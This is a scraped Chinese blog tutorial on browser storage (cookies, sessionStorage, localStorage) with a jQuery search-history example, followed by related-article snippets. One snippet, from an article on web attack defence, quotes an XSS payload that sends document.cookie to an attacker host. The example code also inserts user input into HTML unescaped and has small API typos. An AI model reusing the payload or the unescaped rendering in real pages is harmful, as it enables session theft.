web浏览器存储的不同方式:

效果图:

   

浏览器存储的不同方式:

(1)生命期为只在设置的cookie过期时间之前一直有效,即使窗口或浏览器关闭。 存放数据大小为4K左右 。有个数限制(各浏览器不同),一般不能超过20个。与服务器端通信:每次都会携带在HTTP头中,如果使用cookie保存过多数据会带来性能问题。

(2)sessionStorage仅在当前会话下有效,关闭页面或浏览器后被清除。存放数据大小为一般为5MB,而且它仅在客户端(即浏览器)中保存,不参与和服务器的通信。源生接口可以接受,亦可再次封装来对Object和Array有更好的支持。

(3)localStorage生命周期是永久,这意味着除非用户显示在浏览器提供的UI上清除localStorage信息,否则这些信息将永远存在。存放数据大小为一般为20MB,而且它仅在客户端(即浏览器)中保存,不参与和服务器的通信。

基本用法:

localStorage.setItem("key","value");//以“key”为名称存储一个值“value”

localStorage.getItem("key");//获取名称为“key”的值?localStorage.removeItem("key");//删除名称为“key”的信息。?localStorage.clear();//清空localStorage中所有信息

搜索历史记录案例:

js中json格式转为对象或数组为 JSON.parse(); 字符串转为json为 JSOn.stringfy()

具体代码:

<body><input type="search" placeholder="输入搜索关键字"/><input type="button" value="搜索"/><div><a href="javascript:;">清空搜索记录</a></div><ul>

</ul><script src="jquery.min.js"></script><script>    $(function () {        /*约定:json 数组方式存储数据         * 名字为historyList*/

/*1.根据数据列表渲染页面*/        var historyJson = localStorage.getItem(‘historyList‘) || ‘[]‘;        //将得到的数据转为数组格式        var historyArr = JSON.parse(historyJson);        var render = function () {            //渲染页面            var html = ‘‘;            historyArr.forEach(function (item, index) {                html += ‘<li ><span>‘ + item + ‘</span><a data-index="‘+index+‘" href="javascript:;">删除</a></li>‘;            });            html = html || ‘<li>没有搜索记录</li>‘;            $(‘ul‘).html(html);        };        render();        /*2.点击搜索,更新数据列表,再渲染页面*/        $(‘[type="button"]‘).on(‘click‘,function(){            var key=$.trim($(‘[type="search"]‘).val());            if(!key){                alert(‘请输入搜索内容‘);                return false;            }            historyArr.push(key);            //在将新数组保存在本地存储中            localStorage.setItem(‘historyList‘,JSON.stringify(historyArr));

render();            $(‘[type="search"]‘).val(‘‘);        })        /*3.点击删除,删除数据中所对应的数据,渲染页面*/        $(‘ul‘).on(‘click‘,‘a‘,function(){            var index=$(this).data(‘index‘);            historyArr.splice(index,1);            //重新渲染            localStorage.setItem(‘historyList‘,JSON.stringify(historyArr));            render();

});        /*4.点击清空,清空数据列表,重新渲染渲染页面*/        $(‘div a‘).on(‘click‘,function () {            historyArr=[];            localStorage.removeItem(‘historyList‘);            render();        });    });

</script></body>

原文地址:https://www.cnblogs.com/buautifulgirl/p/9742745.html

时间: 2024-10-11 07:47:17

web浏览器存储的不同方式:的相关文章

C++_MFC 如何确定当页面是在 web 浏览器控件的加载

若要在 Visual C++ DocumentComplete 处理并确定完成该 Web 页的下载后,请按照下列步骤. 请注意,您所执行的步骤取决于您使用 web 浏览器控件的方式. 如果要在 CWnd/CView 对象创建 web 浏览器控件,则必须按照步骤 1 到 4. 如果您正在 CDialog/CFormView 对象中创建 web 浏览器控件,只需执行第 4 步. 如果您使用的 Visual C++ 6.0 所附带的 CHtmlView 类,重写 CHtmlView::Document

web浏览器的方式登录vCenter Server

部署完成ESXI主机和vCenter Server之后,登录vCenter Server集中管理ESXI主机的方式有两种: 通过vSphere Client的方式登录vCenter.(需要安装vSphere Client软件) 通过vSphere Web Client的方式登录vCenter.(这种方式是VMware主推的方式) 简要记录一下vSphere Web Client方式登录vCenter的步骤: (1)打开web浏览器,输入vSphere Web Client的URL:https:/

第十一章:WEB浏览器中的javascript

客户端javascript涵盖在本系列的第二部分第10章,主要讲解javascript是如何在web浏览器中实现的,这些章节介绍了大量的脚本宿主对象,这些对象可以表示浏览器窗口.文档树的内容.这些章节同样涵盖重要的web应用所需要的网络编程API.本地存储和检索数据.画图等.主要包含内容有以下章节: web浏览器中的javascript / window对象 /  脚本化文档 /  脚本化css / 事件处理 / 校本化http / jQuery类库 / 客户端存储  /  多媒体和图形编程 /

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS web安全系列目录 总结几种常见web攻击手段极其防御方式 总结几种常见的安全算法 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="

浏览器存储及使用

转载自  http://geek.csdn.net/news/detail/98519 伴随着WEB的发展,浏览器的存储方式及技术不断的发生更改,从刚开始的Cookie,到 localStorage,sessionStorage,再到IndexedDB,再到现在的Web SQL,作为一名合格的前端开发,当然需要对这些技术了如指掌并熟练掌握,本文将比较全面的介绍常见的浏览器存储以及其使用. 1. Cookie Cookie是一个用户通过浏览器浏览网站产出的信息的票根,Cookies通常被用来标示一

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip

关于浏览器存储问题理解

web应用允许使用浏览器提供的API实现将数据储存在用户的电脑上,这种客户存储相当于赋予了Web浏览器记忆功能,web应用可以通过这种方式来"记住"用户的偏好甚至是用户所有的状态信息,一遍"回忆"起用户上一次访问客户端存储遵循"同源策略",因此不同站点的页面无法互相读取对方储存的数据,而同一站点的不同页面之间是可以显示在另外一个页面中,web应用可以选择它们存储数据的有效期:比如采用临时储存可以让数据保存至当前窗口关闭或者浏览器退出:采用永久储存

web本地存储(localStorage、sessionStorage)

对浏览器来说,使用 Web Storage 存储键值对比存储 Cookie 方式更直观,而且容量更大,它包含两种:localStorage 和 sessionStorage sessionStorage(临时存储) :为每一个数据源维持一个存储区域,在浏览器打开期间存在,包括页面重新加载 localStorage(长期存储) :与 sessionStorage 一样,但是浏览器关闭后,数据依然会一直存 1. 保存数据到本地 sessionStorage.setItem('key', '你的数据'

SeaJS:一个适用于 Web 浏览器端的模块加载器

什么是SeaJS?SeaJS是一款适用于Web浏览器端的模块加载器,它同时又与Node兼容.在SeaJS的世界里,一个文件就是一个模块,所有模块都遵循CMD(Common Module Definition)规范.SeaJS本身遵循(Keep it Simple, Stupid)理念开发,API仅有几个. 为什么用SeaJS?假如我们要开发一个web应用App,在这个应用中需要使用jquery框架.App的首页index.html会用到module1.js,module1.js依赖module2